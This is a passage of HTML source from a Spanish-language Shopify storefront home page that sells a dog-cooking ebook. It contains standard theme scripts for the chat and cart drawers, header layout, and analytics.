      try { window.ShopifyAnalytics.merchantGoogleAnalytics.call(this); } catch(error) {};
      document.write = originalDocumentWrite;

      var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
      var token = match? match[1]: undefined;
      if (!hasLoggedConversion(token)) {
        setCookieIfConversion(token);
        
      }
    });

    window.ShopifyAnalytics.lib.page(null,{"pageType":"home","requestId":"b64f0af3-f7f0-4c8c-a141-44a9bb874780-1789200139","shopifyEmitted":true});

    var eventsListenerScript = document.createElement('script');
    eventsListenerScript.async = true;
    eventsListenerScript.src = "//cocinacanina.store/cdn/shopifycloud/storefront/assets/shop_events_listener-4e26a9ce.js";
    document.getElementsByTagName('head')[0].appendChild(eventsListenerScript);
})();</script>
<script
  defer
  src="https://cocinacanina.store/cdn/shopifycloud/perf-kit/shopify-perf-kit-3.8.10.min.js"
  data-application="storefront-renderer"
  data-shop-id="76441551004"
  data-render-region="gcp-us-central1"
  data-page-type="index"
  data-theme-instance-id="155524563100"
  data-theme-name="Horizon"
  data-theme-version="4.1.4"
  data-monorail-region="shop_domain"
  data-resource-timing-sampling-rate="10"
  data-shs="true"
  data-shs-beacon="true"
  data-shs-export-with-fetch="true"
  data-shs-logs-sample-rate="1"
  data-shs-beacon-endpoint="https://cocinacanina.store/api/collect"
></script>
</head>

  <body class="page-width-narrow card-hover-effect-none">
    <a
  class="skip-to-content-link button-secondary"
  href="#MainContent"
>
  Ir directamente al contenido
</a>




    

<theme-drawer id="chat-drawer">
  <dialog
    ref="panel"
    class="theme-drawer__dialog chat-drawer"
  >
    <shopify-chat
      mode="standalone"
      mode-switch
    ></shopify-chat>
  </dialog>
</theme-drawer>

<script type="module">
  const chatDrawer = document.querySelector('#chat-drawer');
  const shopifyChat = document.querySelector('shopify-chat');

  document.addEventListener('theme-drawer:open', (event) => {
    if (/** @type {Element} */ (event.target).id !== 'chat-drawer') return;
    shopifyChat?.setAttribute('mode', 'managed');
  });

  document.addEventListener('theme-drawer:close', (event) => {
    if (/** @type {Element} */ (event.target).id !== 'chat-drawer') return;
    // If mode is still managed, this is a theme-initiated close (backdrop /
    // Escape) — close the chat so the FAB appears. If mode is already
    // standalone, the close was triggered by an undock (enter-standalone sets
    // mode before closing the drawer) — leave the chat open as a floating panel.
    if (shopifyChat?.getAttribute('mode') === 'managed') {
      shopifyChat?.removeAttribute('open');
    }
    shopifyChat?.setAttribute('mode', 'standalone');
  });

  document.addEventListener('shopify-chat:enter-managed', () => {
    // Captured at event-fire time — the dock-transition animation hint below
    // depends on state as it was when the event was dispatched.
    const isStandaloneAndOpen = shopifyChat?.hasAttribute('open') && shopifyChat?.getAttribute('mode') === 'standalone';

    // The activator-click path (FAB click on desktop with stored
    // preferredMode=managed) dispatches enter-managed *before* calling show(),
    // so the chat's `open` attribute at event time understates the imminent
    // outcome. Defer to a microtask: by then show() (if any) has run, and we
    // can distinguish the viewport-driven mobile→desktop transition that left
    // a minimized FAB (chat stays closed → don't open an empty drawer) from
    // an activator click (chat just opened → open the drawer).
    queueMicrotask(() => {
      if (!shopifyChat?.hasAttribute('open') && !chatDrawer?.hasAttribute('open')) {
        return;
      }
      chatDrawer?.open?.(isStandaloneAndOpen ? { enter: 'inline-start' } : undefined);
    });
  });

  document.addEventListener('shopify-chat:enter-standalone', () => {
    shopifyChat?.setAttribute('mode', 'standalone');
    chatDrawer?.close?.();
  });

  document.addEventListener('shopify-chat:close', () => {
    if (shopifyChat?.getAttribute('mode') === 'managed') {
      chatDrawer?.close?.();
    }
  });

  document.addEventListener('megaMenu:hover', () => {
    if (shopifyChat?.hasAttribute('open') && shopifyChat?.getAttribute('mode') === 'standalone') {
      shopifyChat?.removeAttribute('open');
    }
  });

  // After the chat upgrades it self-restores its preferred mode from
  // sessionStorage. Reconcile any mismatch with the theme-drawer's state
  // — the drawer is the source of truth for which mode the chat should
  // be in (open → managed, closed → standalone).
  customElements.whenDefined('shopify-chat').then(() => {
    const mode = chatDrawer?.hasAttribute('open') ? 'managed' : 'standalone';
    if (shopifyChat?.getAttribute('mode') !== mode) {
      // When switching managed → standalone (e.g. narrow viewport skipped
      // drawer restore), also close the chat so it renders as the FAB
      // rather than an open standalone panel.
      if (mode === 'standalone' && shopifyChat?.hasAttribute('open')) {
        shopifyChat?.removeAttribute('open');
      }
      shopifyChat?.setAttribute('mode', mode);
    }
  });
</script>




    <div class="page-wrapper">
      <div id="header-group">
        <!-- BEGIN sections: header-group -->

<!-- END sections: header-group -->
      </div>

      <script>
        /**
         * Sets `--header-height` and `--header-group-height` to measured values before first paint.
         *
         * A few CSS rules position content relative to the header at first paint — a hero sized to
         * the remaining viewport, a transparent header's negative margin. Without a measured value
         * those rules use the `60px` fallback from `sections/header.liquid`, and the content visibly
         * jumps once `header.js` corrects the values after load.
         *
         * Measuring forces layout mid-parse, so it only runs where a consuming rule exists.
         * Callers opt in: the transparent-header branch below, or `snippets/measure-header-heights.liquid`,
         * which any new first-paint consumer must render too.
         *
         * Measures once per page; after load, header.js's ResizeObservers keep the values fresh.
         * The group-height walk mimics calculateHeaderGroupHeight() in utilities.js — keep them
         * in sync.
         */
        window.measureHeaderHeights = (function () {
          let measured = false;

          return function measureHeaderHeights() {
            if (measured) return;

            const header = document.querySelector('#header-component');
            const headerGroup = document.querySelector('#header-group');

            if (!header || !headerGroup) return;
            measured = true;

            const headerHeight = header.offsetHeight;

            let headerGroupHeight = 0;
            for (const element of headerGroup.children) {
              if (element instanceof HTMLElement) headerGroupHeight += element.offsetHeight;
            }

            /**
             * A transparent header is absolutely positioned, so the loop above counts its section
             * wrapper as 0px. When a section follows it in the group, header.liquid pushes that
             * section down by the header's height using a margin, which offsetHeight also
             * excludes — so the header's height has to be added back manually.
             */
            if (header.hasAttribute('transparent') && header.parentElement?.nextElementSibling) {
              headerGroupHeight += headerHeight;
            }

            document.body.style.setProperty('--header-height', `${headerHeight}px`);
            document.body.style.setProperty('--header-group-height', `${headerGroupHeight}px`);
          };
        })();

        /**
         * Transparent-header rules consume the measured heights at first paint on every
         * template, so the transparent case opts in globally here instead of per-section.
         */
        if (document.querySelector('#header-component')?.hasAttribute('transparent')) {
          measureHeaderHeights();
        }

        /**
         * Sets `--top-row-height`, consumed by the header underlays and submenus. Deferred to a
         * rAF so the `offsetHeight` read doesn't force layout mid-parse, and scoped to the
         * header, where all consumers live, so the write only invalidates the header subtree.
         * Mimics the `--top-row-height` write in updateHeaderHeights() in utilities.js
         */
        (function setTopRowHeight() {
          const header = document.querySelector('#header-component');
          const headerTopRow = header?.querySelector('.header__row--top');
          if (!headerTopRow) return;

          window.requestAnimationFrame(function () {
            header.style.setProperty('--top-row-height', `${headerTopRow.offsetHeight}px`);
          });
        })();

        /**
         * Sets `--transparent-header-offset-boolean` when the first section must offset itself
         * under a transparent header. The non-offset case relies on the `0` default declared in
         * sections/header.liquid — unlike updateTransparentHeaderOffset() in utilities.js, which
         * re-runs on editor changes and must write '0' to reset a previously written '1'.
         */
        (function updateTransparentHeaderOffset() {
          const header = document.querySelector('#header-component');
          const headerSection = document.querySelector('#header-group .header-section');
          if (!headerSection || !header?.hasAttribute('transparent')) return;

          const hasImmediateSection = headerSection.nextElementSibling?.classList.contains('shopify-section');
          if (!hasImmediateSection) {
            document.body.style.setProperty('--transparent-header-offset-boolean', '1');
          }
        })();

        /**
         * Sets the initial menu style (inline menu vs. drawer) on the header component.
         * Mimics setHeaderMenuStyle() in utilities.js
         */
        (function setHeaderMenuStyle() {
          const headerComponent = document.querySelector('#header-component');
          if (headerComponent) {
            const isTouchDevice = 'ontouchstart' in window && navigator.maxTouchPoints > 0;
            const overflowList = headerComponent.querySelector('overflow-list');
            const hasReachedMinimum = overflowList && overflowList.hasAttribute('minimum-reached');
            headerComponent.dataset.menuStyle = isTouchDevice || hasReachedMinimum ? 'drawer' : 'menu';
          }
        })();
      </script>

      <main
        id="MainContent"
        class="content-for-layout"
        role="main"
        data-page-transition-enabled="false"
        data-product-transition="false"
        data-template="index"
      >
        <div id="shopify-section-template--21608728330396__product_list_fa6P9H" class="shopify-section ui-test-product-list">






  <style data-shopify>
    .color-custom-template--21608728330396__product_list_fa6P9H,
    .color-custom-template--21608728330396__product_list_fa6P9H .text-block {
      /* Background */
      --color-background: #ffffff;
      --color-background-rgb: 255 255 255;

      /* Opacity values adjusted for background brightness */
      
--opacity-5-15: 0.05; --opacity-10-25: 0.1; --opacity-35-55: 0.35; --opacity-40-60:
0.4; --opacity-30-60: 0.3; --opacity-60: 0.6;


      
        /* Foreground / text — explicit or smart-contrasted */
        --color: #000000;
        --color-rgb: 0 0 0;
        --color-foreground: #000000;
        --color-foreground-rgb: 0 0 0;
        --color-foreground-muted: rgb(0 0 0 / var(--opacity-muted-text));
        --color-foreground-subdued: rgb(0 0 0 / var(--opacity-subdued-text));
        --color-border: var(--palette-darkest);
        --color-border-rgb: var(--palette-darkest-rgb);
      
    }

    
      .color-custom-template--21608728330396__product_list_fa6P9H {
        /* Form-related tokens stay on .color-custom only — .text-block is a prose
           container (text/announcement/inline-text/blog-post-description/
           collection-link/price/sku) and never holds form inputs. */
        --input-disabled-background-color: rgb(0 0 0 / var(--opacity-10));
        --input-disabled-border-color: rgb(0 0 0 / var(--opacity-5));
        --input-disabled-text-color: rgb(0 0 0 / var(--opacity-50));
        --checkbox-border: 1px solid rgb(0 0 0 / var(--opacity-35-55));
      }
    

    .color-custom-template--21608728330396__product_list_fa6P9H {
      color: var(--color, var(--color-foreground));
      background-color: var(--color-background);
    }
  </style>



<div
  class="section-background color-custom-template--21608728330396__product_list_fa6P9H"
></div>
<div
  data-testid="product-list"
  class="
    section
    section--page-width
    color-custom-template--21608728330396__product_list_fa6P9H
    section-resource-list
    spacing-style
    gap-style
  "
  style="
    --padding-block-start: max(20px, calc(var(--spacing-scale) * 48px));--padding-block-end: max(20px, calc(var(--spacing-scale) * 48px));
    --gap: max(24px, calc(var(--gap-scale, 1.0) * 28px));
  "
>
  <div class="section-resource-list__header">








<div
  class="
    group-block
    group-block--height-fit
    group-block--width-fill
    border-style
    spacing-style
    size-style
    
    
  "
  style="
    
--border-width: 1px; --border-style: none; --border-color:
rgb(var(--color-border-rgb) / 1.0); --border-radius: 0px; 

    --padding-block-start: 0px;--padding-block-end: 0px;--padding-inline-start: 0px;--padding-inline-end: 0px;
    --size-style-width: 100%;--size-style-height: fit;--size-style-width-mobile: 100%; --size-style-width-mobile-min: 5rem;
    
  "
  
  data-testid="group-block"
><div class="group-block__media-wrapper">
    






    
  </div>

  <div
    class="
      group-block-content
      
      layout-panel-flex
      layout-panel-flex--row
      
    "
    style="--flex-direction: row; --flex-wrap: nowrap; --flex-wrap-mobile: wrap;

--gap: 12px;

--horizontal-alignment: space-between; --vertical-alignment: last baseline;
--vertical-alignment-mobile: last baseline;
"
  >














  <div class=" spacing-style text-block text-block--AUlVnVnByZ0pVRzlCa__product_list_text_YFtzcL h4      "  style="    --padding-block-start: 0px; --padding-block-end:0px; --padding-inline-start:0px; --padding-inline-end:0px;            --width: fit-content;    --max-width: var(--max-width--body-normal);          ">
    <h3>Productos</h3>
  </div>














</div>
</div>



</div>

  

  

  




<div
  class="
    resource-list
    
    
    resource-list--grid
  "
  style="--resource-list-column-gap-desktop: 8px;--resource-list-row-gap-desktop: 24px;--resource-list-columns: repeat(4, 1fr);--resource-list-columns-mobile: repeat(2, 1fr);--column-count-mobile: 2;"
  
    data-testid="resource-list-grid"
  
>
  
      
    
      
        
        <div
          class="resource-list__item"
        >
            








<product-card
  class="product-card size-style"
  style="--size-style-width: ;--size-style-height: ;"
  data-product-id="9214351704220"
  id="product-card-Aa2pZZXUvQkJwRmtvc__static-product-card"
  
  
  

    view-event-payload="{&quot;product&quot;:{&quot;id&quot;:9214351704220,&quot;title&quot;:&quot;EBOOK COCINA CANINA&quot;,&quot;handle&quot;:&quot;ebook-cocina-canina&quot;,&quot;selectedVariant&quot;:null},&quot;context&quot;:&quot;collection&quot;,&quot;selectedOptions&quot;:[]}">
  <a
    id="94e3b46e7c6e17534d5a9de66c20241f"
    
      
      href="/products/ebook-cocina-canina"
    
    class="product-card__link"
    ref="productCardLink"
    aria-label="EBOOK COCINA CANINA"
  ></a>
  <div
    class="
      product-card__content
      layout-panel-flex
      layout-panel-flex--column
      product-grid__card
      spacing-style
      border-style
      gap-style
      
    "
    style="
      
--border-width: 1px; --border-style: none; --border-color:
rgb(var(--color-border-rgb) / 1.0); --border-radius: 0px; 

      --flex-direction: column; --flex-wrap: nowrap; --flex-wrap-mobile: wrap;



--horizontal-alignment: ; --vertical-alignment: ;
--vertical-alignment-mobile: ;

      --padding-block-start: 0px;--padding-block-end: 0px;--padding-inline-start: 0px;--padding-inline-end: 0px;
      --product-card-gap: 4px;
      --quick-add-display: flex;
      --quick-add-mobile-display: none;
      --quick-add-mobile-opacity: 0;
      
      
      
      
    "
  >
    
  







<div
  ref="cardGallery"
  class="card-gallery card-gallery-AMCtPV0Z6YWp5SnRlc__product_card_gallery_677WP3 spacing-style border-style card-gallery--badge-top-right"
  style="
    
--border-width: 1px; --border-style: none; --border-color:
rgb(var(--color-border-rgb) / 1.0); --border-radius: 0px; 

    --padding-block-start: 0px;--padding-block-end: 0px;--padding-inline-start: 0px;--padding-inline-end: 0px;
    --gallery-aspect-ratio: 0.5581395348837209;
  "
  data-product-id="9214351704220"
  
  
  data-image-ratio="adapt"
  
><a
      class="contents"
      ref="cardGalleryLink"
      href="/products/ebook-cocina-canina"
      aria-label="EBOOK COCINA CANINA"
    >
      
<div
          class="product-media-container media-fit product-media-container--image"
          style="--product-media-fit: cover;"
        >
          

<div
  class="product-media"
  style="--ratio: 0.5581395348837209"
  data-media-id="37358357250204"
>
  
  <img src="//cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=3840" alt="EBOOK COCINA CANINA" srcset="//cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=240 240w, //cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=352 352w, //cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=832 832w, //cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=1200 1200w, //cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=1600 1600w, //cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=1920 1920w, //cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=2560 2560w, //cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=3840 3840w" width="3840" height="6880" loading="eager" sizes="(min-width: 750px) 25.0vw, 100vw" class="product-media__image" data_max_resolution="//cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&amp;width=3840" fetchpriority="auto" style="--focal-point: 50.0% 50.0%;">

  
</div>




        </div></a>
  
  
<div
        class="product-badges product-badges--top-right"
        style="
            --badge-border-radius: 100px;
            --badge-font-family: var(--font-body--family); --badge-font-weight: var(--font-body--weight); --badge-text-transform: none;
        "
      >
        <div
          class="
            product-badges__badge product-badges__badge--rectangle
             color-custom-badge-sale
          "
        >Oferta
</div>
      </div>
      





<quick-add-component
  class="quick-add custom-color-quick-add"
  ref="quickAdd"
  data-product-title="EBOOK COCINA CANINA"
  data-product-id="9214351704220"
  data-quick-add-button="add"
  data-product-options-count="1"
  data-uses-selling-plans="false"
  data-renders-both-buttons=""
>
  
    <product-form-component
      data-section-id="template--21608728330396__product_list_fa6P9H"
      data-product-id="9214351704220"
      on:submit="/handleSubmit"
      class="quick-add__product-form-component"
    >
      <div
        class="visually-hidden"
        aria-live="assertive"
        role="status"
        aria-atomic="true"
        ref="liveRegion"
      ></div><form method="post" action="/cart/add" id="QuickAdd-ProductForm-9214351704220-AMCtPV0Z6YWp5SnRlc__product_card_gallery_677WP3" accept-charset="UTF-8" class="shopify-product-form" enctype="multipart/form-data" novalidate="novalidate" data-type="add-to-cart-form"><input type="hidden" name="form_type" value="product" /><input type="hidden" name="utf8" value="✓" /><input
          type="hidden"
          name="id"
          ref="variantId"
          value="47441534288028"
          
        >
        <input
          type="hidden"
          name="quantity"
          value="1"
        >
        <add-to-cart-component
  ref="addToCartButtonContainer"
  data-product-variant-media="//cocinacanina.store/cdn/shop/files/Gemini_Generated_Image_fqlrkdfqlrkdfqlr_988778b8-7eea-4d0d-9f7d-3439aa728a5a.jpg?v=1788217462&width=100"
  data-add-to-cart-animation="true"
>
  <button
    
    type="submit"
    name="add"
    ref="addToCartButton"
    on:click="/handleClick"
    class="button quick-add__button quick-add__button--add add-to-cart-button"
    
    
  >
    
      <span
        aria-hidden="true"
        class="svg-wrapper add-to-cart-icon"
      ><svg aria-hidden="true" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="none"><path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="var(--icon-stroke-width)" d="M16.608 9.421V6.906H3.392v8.016c0 .567.224 1.112.624 1.513.4.402.941.627 1.506.627H8.63M8.818 3h2.333c.618 0 1.212.247 1.649.686a2.35 2.35 0 0 1 .683 1.658v1.562H6.486V5.344c0-.622.246-1.218.683-1.658A2.33 2.33 0 0 1 8.82 3"/><path stroke="currentColor" stroke-linecap="round" stroke-width="var(--icon-stroke-width)" d="M14.608 12.563v5m2.5-2.5h-5"/></svg>
</span>
    
Agregar
    <span class="add-to-cart__added">
      <span class="svg-wrapper add-to-cart__added-icon"><svg aria-hidden="true" class="checkmark-burst" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
  <g class="check">
    <circle class="ring" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
    <path class="tick" d="M9 12.75L11.25 15L15 9.75" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
  </g>
  <g class="burst">
    <g style="--index: 0;">
      <line class="line" stroke-linecap="round" pathLength="1" x1="12" y1="8.5" x2="12" y2="15.5" stroke="currentColor"/>
    </g>
    <g style="--index: 1;">
      <line class="line" stroke-linecap="round" pathLength="1" x1="12" y1="8.5" x2="12" y2="15.5" stroke="currentColor"/>
    </g>
    <g style="--index: 2;">
      <line class="line" stroke-linecap="round" pathLength="1" x1="12" y1="8.5" x2="12" y2="15.5" stroke="currentColor"/>
    </g>
    <g style="--index: 3;">
      <line class="line" stroke-linecap="round" pathLength="1" x1="12" y1="8.5" x2="12" y2="15.5" stroke="currentColor"/>
    </g>
    <g style="--index: 4;">
      <line class="line" stroke-linecap="round" pathLength="1" x1="12" y1="8.5" x2="12" y2="15.5" stroke="currentColor"/>
    </g>
    <g style="--index: 5;">
      <line class="line" stroke-linecap="round" pathLength="1" x1="12" y1="8.5" x2="12" y2="15.5" stroke="currentColor"/>
    </g>
    <g style="--index: 6;">
      <line class="line" stroke-linecap="round" pathLength="1" x1="12" y1="8.5" x2="12" y2="15.5" stroke="currentColor"/>
    </g>
    <g style="--index: 7;">
      <line class="line" stroke-linecap="round" pathLength="1" x1="12" y1="8.5" x2="12" y2="15.5" stroke="currentColor"/>
    </g>
  </g>
</svg>
</span>
    </span>
  </button>
</add-to-cart-component>

<input type="hidden" name="product-id" value="9214351704220" /><input type="hidden" name="section-id" value="template--21608728330396__product_list_fa6P9H" /></form></product-form-component>
  

  
</quick-add-component>



















    
  

</div>










<div class="product-grid-view-zoom-out--details">
  
    <h3 class="h4">EBOOK COCINA CANINA</h3>
  
</div>










  
  <a
    class="contents user-select-text"
    ref="productTitleLink"
    href="/products/ebook-cocina-canina"
  >
    









  <div class=" spacing-style text-block text-block--AOXd1VVhndndocXBuS__product_title_YXxMTj rte    text-block--align-left rte   "  style="    --padding-block-start: 4px; --padding-block-end:0px; --padding-inline-start:0px; --padding-inline-end:0px;            --width: 100%;    --max-width: var(--max-width--body-normal);          --text-align: left;          ">
    <p role="heading" aria-level="3">EBOOK COCINA CANINA</p>
  </div>




  </a>









<product-price
  class="text-block text-block--align-left text-left h6 spacing-style"
  data-block-id="AS2FoaTJYSTl4UUR1a__price_JQzVV4"
  data-product-id="9214351704220"
  style="
    

    --padding-block-start: 0px;--padding-block-end: 0px;--padding-inline-start: 0px;--padding-inline-end: 0px;
    
    --width: 100%;
  "
  
>
  

<div ref="priceContainer">
  
    
    
      
        <span class="price-item__group price">
          <span class="visually-hidden">Precio de oferta&nbsp;</span>
          $18.990,00
        </span>
        <span class="price-item__group price-item--regular compare-at-price">
          <span class="visually-hidden">Precio habitual&nbsp;</span>$63.300,00</span>
      
    
  
</div>

  
</product-price>







  </div>
</product-card>



























          </div>

          
        
      
    
  

    
</div>





  <div
    class="section-resource-list__content"
    style="--horizontal-alignment: flex-start;"
  ></div>
</div>


</div>
      </main>

      <footer>
        <!-- BEGIN sections: footer-group -->

<!-- END sections: footer-group -->
      </footer>
    </div>

    

    <div
      id="shopify-section-cart-drawer-section"
      class="shopify-section"
    >
  

  <script
    type="module"
    src="//cocinacanina.store/cdn/shop/t/1/assets/cart-drawer.js?v=101430053943909765251787271009"
    fetchpriority="low"
  ></script>

  

  <theme-drawer
    id="cart-drawer"
    data-skip-node-update
  >
    <dialog
      ref="panel"
      class="theme-drawer__dialog color-custom-drawer"
      aria-labelledby="cart-drawer-heading"
      cart-summary-sticky="true"
    >
      <cart-drawer-component
        
      >
        <template id="empty-cart-template">
          
    <div
      class="cart-drawer__content"
      aria-label="Carrito"
    >
      <h2
        class="theme-drawer__title h4"
        id="cart-drawer-heading"
      >
        Tu carrito esta vacío
      </h2>

      <div class="cart-drawer__items">
        









<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/component-cart-items.js?v=14476580701730542761787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/component-cart-quantity-selector.js?v=168493463479860323171787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/volume-pricing-info.js?v=94479640769665442661787271009"
  type="module"
  fetchpriority="low"
></script>




<div
  
  class="cart-items__wrapper cart-items__wrapper--drawer-empty"
  
    data-cart-drawer-empty
  
  style=""
>
  
<p>
        ¿Tienes una cuenta? <a href="https://cocinacanina.store/customer_authentication/redirect?locale=es&region_country=AR">Inicia sesión</a> para pagar más rápido.
      </p><a
      class="button cart-items__empty-button"
      href="/collections/all"
    >
      <span class="button-text">
        Seguir comprando
      </span>
    </a></div>



      </div>
    </div>
  
        </template>

        <div
          class="cart-drawer__inner cart-drawer--empty"
          data-hydration-key="cart-drawer-inner"
        ><div class="theme-drawer__header">
              <button
                on:click="#cart-drawer/close"
                class="theme-drawer__close-button cart-drawer__close-button--empty"
                type="button"
                aria-label="Cerrar"
              >
                <span class="svg-wrapper"><svg aria-hidden="true" width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M11.1765 12.025C11.4108 12.2594 11.7907 12.2594 12.025 12.025C12.2594 11.7907 12.2594 11.4108 12.025 11.1765L8.84931 8.00078L12.025 4.82505C12.2594 4.59073 12.2594 4.21083 12.025 3.97652C11.7907 3.7422 11.4108 3.7422 11.1765 3.97652L8.00078 7.15225L4.82505 3.97652C4.59073 3.7422 4.21083 3.7422 3.97652 3.97652C3.7422 4.21083 3.7422 4.59073 3.97652 4.82505L7.15225 8.00078L3.97652 11.1765C3.7422 11.4108 3.7422 11.7907 3.97652 12.025C4.21083 12.2594 4.59073 12.2594 4.82505 12.025L8.00078 8.84931L11.1765 12.025Z" fill="currentColor"/>
</svg>
</span>
              </button>
            </div>
          

<cart-items-component
  class="cart-items-component"
  
    data-drawer
    view-event-trigger="dialog"
  
  data-section-id="cart-drawer-section"
  
  view-event-payload="{&quot;context&quot;:null,&quot;cart&quot;:null}"
  
>
  

    <div
      class="cart-drawer__content"
      aria-label="Carrito"
    >
      <h2
        class="theme-drawer__title h4"
        id="cart-drawer-heading"
      >
        Tu carrito esta vacío
      </h2>

      <div class="cart-drawer__items">
        









<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/component-cart-items.js?v=14476580701730542761787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/component-cart-quantity-selector.js?v=168493463479860323171787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/volume-pricing-info.js?v=94479640769665442661787271009"
  type="module"
  fetchpriority="low"
></script>




<div
  
  class="cart-items__wrapper cart-items__wrapper--drawer-empty"
  
    data-cart-drawer-empty
  
  style=""
>
  
<p>
        ¿Tienes una cuenta? <a href="https://cocinacanina.store/customer_authentication/redirect?locale=es&region_country=AR">Inicia sesión</a> para pagar más rápido.
      </p><a
      class="button cart-items__empty-button"
      href="/collections/all"
    >
      <span class="button-text">
        Seguir comprando
      </span>
    </a></div>



      </div>
    </div>
  

</cart-items-component>



        </div>
      </cart-drawer-component>
    </dialog>
  </theme-drawer>

  
    </div>
  


    






<script
  type="module"
  src="//cocinacanina.store/cdn/shop/t/1/assets/theme-drawer.js?v=155110645205299884131787271009"
  fetchpriority="low"
></script>

<script>
  /* Runs synchronously during HTML parsing — opens the correct drawer on first
     paint if navigation state was saved, so it renders with the rest of the page. */
  (function () {
    var drawerIds = (sessionStorage.getItem('theme-drawer-open') || '').split(',').filter(Boolean);
    if (!drawerIds.length) return;

    // Only restore on wide viewports (squeeze mode). On narrow viewports the
    // drawer is a modal overlay — let it start closed after navigation rather
    // than re-opening a fullscreen dialog the user may have left behind.
    if (!window.matchMedia('(min-width: 990px)').matches) return;

    var dialogs = [];
    for (var i = 0; i < drawerIds.length; i++) {
      var drawer = document.getElementById(drawerIds[i]);
      if (!drawer) continue;

      drawer.setAttribute('open', '');

      // Set [open] directly so the CSS slide-in applies without triggering
      // the browser's dialog focusing steps — on wide viewports the drawer is
      // a sidebar, not a modal, so focus should stay where it is.
      // The instant class suppresses the slide-in transition for the initial restore.
      // Set --drawer-stack-order so z-index layering matches the original order.
      drawer.style.setProperty('--drawer-stack-order', String(i + 1));

      var dialog = drawer.querySelector('dialog');
      if (dialog) {
        dialog.setAttribute('open', '');
        dialog.classList.add('theme-drawer__dialog-instant');
        dialogs.push(dialog);
      }

      // Let each drawer type handle its own restore (e.g. shopify-chat mode).
      // Synchronous dispatch — listeners attached during earlier parsing run immediately.
      drawer.dispatchEvent(new CustomEvent('theme-drawer:restoring'));
    }

    // Apply squeeze immediately, bypassing the margin transition.
    // Only squeeze if at least one drawer was actually restored — saved
    // drawer IDs may not exist on every page (e.g. cart-drawer on /cart).
    var pageWrapper = document.querySelector('.page-wrapper');
    if (pageWrapper && dialogs.length > 0) {
      pageWrapper.style.transition = 'none';
      pageWrapper.classList.add('page-wrapper--drawer-open');
    }

    // Re-enable transitions after one paint so the instant state is rendered first.
    requestAnimationFrame(function () {
      requestAnimationFrame(function () {
        if (pageWrapper) pageWrapper.style.transition = '';
        for (var j = 0; j < dialogs.length; j++) {
          dialogs[j].classList.remove('theme-drawer__dialog-instant');
        }
      });
    });
  })();
</script>

<script
  type="module"
>
  const pageWrapper = document.querySelector('.page-wrapper');
  const squeezeQuery = window.matchMedia('(min-width: 990px)');

  // ── Squeeze coordination ──
  // Listens to all drawers. Only squeezes on wide viewports.
  document.addEventListener('theme-drawer:open', () => {
    if (squeezeQuery.matches) {
      pageWrapper?.classList.add('page-wrapper--drawer-open');
    }
  });

  document.addEventListener('theme-drawer:close', () => {
    const openDrawer = document.querySelector('theme-drawer[open]');
    if (!openDrawer) {
      pageWrapper?.classList.remove('page-wrapper--drawer-open');
    }
  });

  squeezeQuery.addEventListener('change', () => {
    const openDrawer = document.querySelector('theme-drawer[open]');
    pageWrapper?.classList.toggle('page-wrapper--drawer-open', Boolean(openDrawer) && squeezeQuery.matches);
  });

  // ── State persistence ──
  // Store open drawer IDs sorted by their visual stack order so
  // the restore script can recreate the same z-index layering.
  function persistDrawerState() {
    const openDrawers = Array.from(document.querySelectorAll('theme-drawer[open]:not([no-persist])'));
    if (!openDrawers.length) {
      sessionStorage.removeItem('theme-drawer-open');
      return;
    }

    openDrawers.sort((a, b) => {
      const orderA = Number(a.style.getPropertyValue('--drawer-stack-order') || 0);
      const orderB = Number(b.style.getPropertyValue('--drawer-stack-order') || 0);
      return orderA - orderB;
    });

    sessionStorage.setItem('theme-drawer-open', openDrawers.map((d) => d.id).join(','));
  }

  document.addEventListener('theme-drawer:open', persistDrawerState);
  document.addEventListener('theme-drawer:close', persistDrawerState);
</script>


    










<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/dialog.js?v=144816527575655702281787271009"
  type="module"
></script>

<script
